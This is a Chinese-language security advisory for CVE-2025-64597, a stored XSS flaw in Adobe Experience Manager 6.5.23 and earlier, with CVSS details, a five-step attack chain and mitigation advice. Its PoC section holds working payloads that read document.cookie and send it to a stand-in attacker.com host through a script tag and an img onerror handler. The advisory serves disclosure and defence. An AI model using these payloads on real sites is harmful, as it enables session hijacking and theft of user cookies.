CVE-2025-64597 Adobe Experience Manager存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-64597

漏洞类型

存储型XSS

CVSS评分

5.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

Adobe Experience Manager

漏洞概述

CVE-2025-64597是Adobe Experience Manager中存在的一个存储型跨站脚本（Stored XSS）漏洞。该漏洞影响Adobe Experience Manager 6.5.23及更早版本。攻击者可以利用该漏洞通过低权限账户在表单字段中注入恶意JavaScript脚本。当其他用户浏览包含该恶意字段的页面时，注入的恶意脚本将在受害者浏览器中执行，可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全风险。由于该漏洞属于存储型XSS，恶意脚本会被永久保存在服务器端，所有访问受影响页面的用户都会受到攻击影响。Adobe安全团队（[email protected]）发现并报告了此漏洞，CVSS 3.1评分5.4，属于中等严重程度。攻击复杂度低，无需特殊技术条件即可实施，但需要用户交互（浏览受影响页面）才能触发漏洞利用。

技术细节

Adobe Experience Manager 6.5.23及更早版本在处理用户输入的表单字段时存在存储型XSS漏洞。漏洞产生的根本原因在于应用程序未能对用户提交的内容进行充分的输入验证和输出编码。攻击者以低权限用户身份登录系统后，可以在表单输入字段中注入恶意的HTML/JavaScript代码，例如：<img src=x onerror=alert(document.cookie)>。由于应用程序未对输入进行安全过滤，该恶意脚本会被存储在数据库中。当其他用户（尤其是高权限管理员）访问包含该表单字段的页面时，服务器会将存储的恶意内容原样返回到客户端浏览器，浏览器会将其作为合法HTML/JS执行，从而完成XSS攻击。攻击者可以利用此漏洞窃取受害者的会话Cookie、劫持用户会话、进行钓鱼攻击或修改页面内容显示。由于Adobe Experience Manager通常用于企业级内容管理，攻击者可能通过此漏洞获取管理权限或访问敏感业务数据。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先访问Adobe Experience Manager目标站点，识别可用的表单输入字段，如内容创建页面、用户资料编辑页面或元数据编辑功能。

STEP 2

步骤2: 低权限账户登录

攻击者使用低权限账户（如普通内容编辑者账户）登录系统。CVSS向量显示PR:L，表明只需要低权限即可实施攻击。

STEP 3

步骤3: 注入恶意脚本

攻击者在表单输入字段中注入恶意JavaScript代码，如<script>alert(document.cookie)</script>或<img src=x onerror=...>等XSS payload。由于应用未进行充分输入验证，恶意代码被存储到数据库中。

STEP 4

步骤4: 等待受害者访问

攻击者等待其他用户（特别是高权限管理员）访问包含恶意内容的页面。CVSS向量显示UI:R，需要用户交互（浏览页面）才能触发漏洞。

STEP 5

步骤5: 脚本执行与攻击完成

当受害者浏览器加载页面时，服务器返回包含恶意脚本的HTML内容，浏览器将其作为合法脚本执行。攻击者可窃取会话Cookie、劫持账户或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-64597 PoC: Adobe Experience Manager Stored XSS -->
<!-- Attack Scenario: Low privileged user injects malicious script into form field -->

<!-- Step 1: Malicious Payload Injection -->
<!-- Inject this payload into a vulnerable form field (e.g., title, description, metadata) -->
<script>
  // Steal session cookies
  var stolenCookies = document.cookie;
  
  // Send stolen data to attacker's server
  fetch('https://attacker.com/steal?c=' + encodeURIComponent(stolenCookies), {
    method: 'GET',
    mode: 'no-cors'
  });
</script>

<!-- Alternative payload using img tag -->
<img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie">

<!-- Step 2: Wait for victim to view the page -->
<!-- When victim (admin/high-privilege user) visits the page containing the injected field, the script executes automatically -->

<!-- Step 3: Session hijacking or data exfiltration -->
<!-- Attacker receives victim's session cookies and can impersonate the user -->

<!-- Note: This PoC demonstrates the vulnerability concept. Actual exploitation requires identifying specific vulnerable form fields in AEM. -->

影响范围

Adobe Experience Manager 6.5.23及更早版本

Adobe Experience Manager 6.5.x < 6.5.24

防御指南

临时缓解措施

立即升级Adobe Experience Manager至6.5.24或更高版本以修复此漏洞。在等待升级期间，可以采取以下临时缓解措施：1) 限制低权限用户创建或编辑表单字段的能力；2) 启用AEM的跨站脚本过滤功能；3) 实施严格的Content Security Policy；4) 对管理员用户实施双因素认证以降低会话劫持风险；5) 监控可疑的脚本注入行为。